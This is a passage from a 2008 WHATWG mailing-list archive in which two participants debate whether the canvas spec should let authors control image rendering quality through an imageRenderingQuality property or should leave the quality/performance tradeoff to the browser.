	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
	<Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
Message-ID: <ea09c0d10806301704y7a77c6c1ha209fa260c4785cb@mail.gmail.com>

On 01/07/2008, Ian Hickson <ian at hixie.ch> wrote:
> [...]
>  It seems better for the browser to simply detect when the graphics burden
>  being placed on the hardware by the page is too much to be done at high
>  quality given the current load on the CPU, and for the browser to
>  automatically drop down to a lower fidelity, higher speed rendering on the
>  fly when appropriate.

Sometimes the author will want to force best-quality rendering,
regardless of the performance impact. E.g. a photo manipulation
application might let you resize a segment of a photo, displaying a
live preview (where performance is more important than quality), and
then render the final resized image and store it in a canvas for
future processing. That final rendering needs to be the best possible
quality, so it's not acceptable for the browser to decide that it
should semi-randomly drop the quality because it detected the live
preview was CPU-intensive.

Similarly, a pseudo-3d FPS game might load textures at runtime and
perform some preprocessing (like resizing to be square, and rendering
lots of smaller copies to be used as mipmaps for distant walls so they
look prettier), and then draw that processed texture into the game
thousands of times a second. Since the preprocessing is only done
once, and its result is reused for the whole of the rest of the game,
it should be done at the highest possible quality, regardless of
performance.

So, adaptively reducing the quality and allowing no author control
seems like a bad idea.

Perhaps the imageRenderingQuality property could have values 'high'
and 'auto', where the default is 'high' (so that existing content
continues working the same as it always has, and to avoid surprising
authors by randomly switching the rendering quality when they have no
reason to expect such weird behaviour), and 'auto' means 'low (but
perhaps switch to high if the browser thinks it's going to be fast
enough)'. That would avoid the issue of authors setting quality='low'
and preventing high-speed users from getting the best quality output.

-- 
Philip Taylor
excors at gmail.com


From oliver at apple.com  Mon Jun 30 17:18:29 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 30 Jun 2008 17:18:29 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <8e61feeb0806301655o51f68d62s6aa28fbd04ca946b@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
	<Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
	<8e61feeb0806301655o51f68d62s6aa28fbd04ca946b@mail.gmail.com>
Message-ID: <7408C7B8-1A8C-4F46-BD76-676F1D18E9C0@apple.com>

>
>
> So now we need to define levels of graphic burden? and at what level  
> of burden does the quality suffer? Seems just as hard to define.  
> Having the author explicit say "this has to be as high quality as  
> possible" or "less can be low quality" seems better and we have  
> examples of other specs offering the same kind of control.
>
No.  The whole point is that the UA is in the best position to  
identify what the tradeoffs are, not the author -- if you want a flag  
to specify the quality to be used then that would require you to  
determine what the tradeoffs were yourself, with no substantial  
knowledge of what combination any given user was actually using.  You  
need to realise that different UAs and different platforms have  
substantially different performance characteristics.

And that said how would you make the decision yourself anyway?  Your  
decision will almost always hurt *some* portion of your userbase,  
either through lower quality than would otherwise be possible, or by  
making a page that is unusable for someone with a lower powered device.

And then, after you've made that decision you will start getting some  
people saying UA1 looks better than UA2 because you underestimated  
performance of the UAs, and UA1 ignores the flag.  Or you'll get  
people saying UA1 is unusable because you found it was slow in UA2, so  
you dropped the quality setting -- which UA1 ignores, but then a year  
later you get people saying UA1 looks better again because hardware is  
faster so it now do its higher quality rendering without any problem  
-- but UA2 is still using the low quality path.  Finally you test on  
UA1 and UA2, and find your site looks good in one, but is too slow in  
the other, do you now lower the quality in both so that your site is  
usable in both, or do you try and make the decision in JS at runtime?   
If the latter you now have quite a bit more work to do.  How do you  
determine the performance of a particular UA/platform combination?  JS  
performance is not the same as canvas, so you have to manually test  
canvas performance, so you are now trying to hand code what could  
already be built into the UA.  Alternatively you could just try to  
take the lazy path and do a UA check, and try to determine the  
performance based on UA but now you have *all* of the standard UA  
check problems, and you still can't test the real performance because  
you don't know what hardware you're on.

If the UA makes its own decisions about performance, it can make a  
decision based on a wide range of information that you do not have any  
access to, in addition to being aware of the specific costs of certain  
operations (eg. a UA could choose to lower the quality of only a  
single operation, like image scaling, but leave other operations at  
their standard fidelity -- trying to do this in a flag would be both  
horrifically complicated for authors *and* would represent tremendous  
over specification by the standard)

--Oliver